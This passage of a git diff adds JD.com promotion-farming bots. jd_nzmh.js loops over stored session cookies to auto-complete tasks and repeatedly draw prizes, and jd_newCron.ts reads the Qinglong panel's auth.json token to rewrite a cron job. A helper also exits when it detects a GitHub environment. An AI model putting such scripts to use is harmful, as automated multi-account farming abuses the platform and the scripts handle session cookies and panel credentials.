(function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_newCron.ts b/jd_newCron.ts new file mode 100644 index 0000000000..d313aa4e50 --- /dev/null +++ b/jd_newCron.ts @@ -0,0 +1,73 @@ +/** + * 当脚本内更新cron时,面板不需要删除已有cron,就能同步更新 + * cron: 0 0-23/2 * * * + */ + +import axios from "axios"; +import {readFileSync} from "fs"; +import {execSync} from "child_process"; + +const sendNotify = require('./sendNotify').sendNotify +let server: string = '', message: string = '', taskName: string; + +!(async () => { + if (process.env.HOSTNAME === 'qinglong') { + // 获取token和服务器IP:Port + let auth: any = JSON.parse(readFileSync(`${process.env.QL_DIR}/config/auth.json`).toString()) + let bearer: string = auth.token + let netstat = execSync("netstat -tnlp").toString(); + let port: string = netstat.match(/.*0\.0\.0\.0:(\d+).*nginx\.conf/)![1] + server = `127.0.0.1:${port}` + + // 新cron + taskName = "jd_joy_new.js" + let cron: string = '0 0-23/2 * * *'; + let task: any = await get(taskName, bearer); + + if (task && task.schedule !== cron) { + console.log(`开始更新${task.name}的cron`) + console.log('旧', task.schedule) + console.log('新', cron) + message = `旧 ${task.schedule}\n新 ${cron}\n更新成功` + await set(task, bearer, cron) + } else { + console.log('cron相同,忽略更新') + } + } else { + console.log('NOT 🐉') + } +})() + +async function set(task: any, bearer: string, cron: string) { + let {data}: any = await axios.put(`http://${server}/api/crons?t=${Date.now()}`, JSON.stringify({ + "name": task.name, "command": task.command, "schedule": cron, "_id": task._id + }), { + headers: { + 'Authorization': `Bearer ${bearer}`, + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36', + 'Content-Type': 'application/json;charset=UTF-8', + } + }) + if (data.code === 200) { + console.log(`${task.name}的cron更新成功`) + await sendNotify(taskName, message) + } else { + console.log('更新失败:', data) + } +} + +async function get(name: string, bearer: string) { + let {data}: any = await axios.get(`http://${server}/api/crons?searchValue=&t=${Date.now()}`, { + headers: { + 'Authorization': `Bearer ${bearer}`, + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36', + 'Content-Type': 'application/json;charset=UTF-8', + } + }) + for (let task of data.data) { + if (task.name === name) { + return task + } + } + return +} \ No newline at end of file diff --git a/jd_nzmh.js b/jd_nzmh.js new file mode 100644 index 0000000000..411b10b94e --- /dev/null +++ b/jd_nzmh.js @@ -0,0 +1,292 @@ +/* +女装盲盒 +活动时间:2021-10-1至2021-10-31 +活动地址:https://anmp.jd.com/babelDiy/Zeus/h5Mn8HfcGehjosBJWQJj4mzFWrF/index.html +活动入口:京东app-女装馆-赢京豆 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#女装盲盒 +35 1,23 * * * jd_nzmh.js, tag=女装盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "35 1,23 * * *" script-path=jd_nzmh.js,tag=女装盲盒 + +===============Surge================= +女装盲盒 = type=cron,cronexp="35 1,23 * * *",wake-system=1,timeout=3600,script-path=jd_nzmh.js + +============小火箭========= +女装盲盒 = type=cron,script-path=jd_nzmh.js, cronexpr="35 1,23 * * *", timeout=3600, enable=true + */ + +const $ = new Env('女装盲盒抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('女装盲盒\n' + + '活动时间:2021-10-1至2021-10-31\n' + + '活动地址:https://anmp.jd.com/babelDiy/Zeus/h5Mn8HfcGehjosBJWQJj4mzFWrF/index.html\n' + + '活动入口:京东app-女装馆-赢京豆'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + try { + await jdMh('https://anmp.jd.com/babelDiy/Zeus/h5Mn8HfcGehjosBJWQJj4mzFWrF/index.html') + } catch (e) { + $.logErr(e) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url = 'https://anmp.jd.com/babelDiy/Zeus/h5Mn8HfcGehjosBJWQJj4mzFWrF/index.html?wxAppName=jd') { + console.log(`url:${url}`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/h5Mn8HfcGehjosBJWQJj4mzFWrF/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "JD4iPhone/9.3.5 CFNetwork/1209 Darwin/20.2.0") : ($.getdata('JDUA') ? $.getdata('JDUA') : "JD4iPhone/9.3.5 CFNetwork/1209 Darwin/20.2.0") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_pet.js b/jd_pet.js new file mode 100644 index 0000000000..deb49d4f82 --- /dev/null +++ b/jd_pet.js @@ -0,0 +1,609 @@ +/* +东东萌宠 更新地址: jd_pet.js +更新时间:2021-05-21 +活动入口:京东APP我的-更多工具-东东萌宠 +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助5个人。多出的助力码无效 + +=================================Quantumultx========================= +[task_local] +#东东萌宠 +15 6-18/6 * * * jd_pet.js, 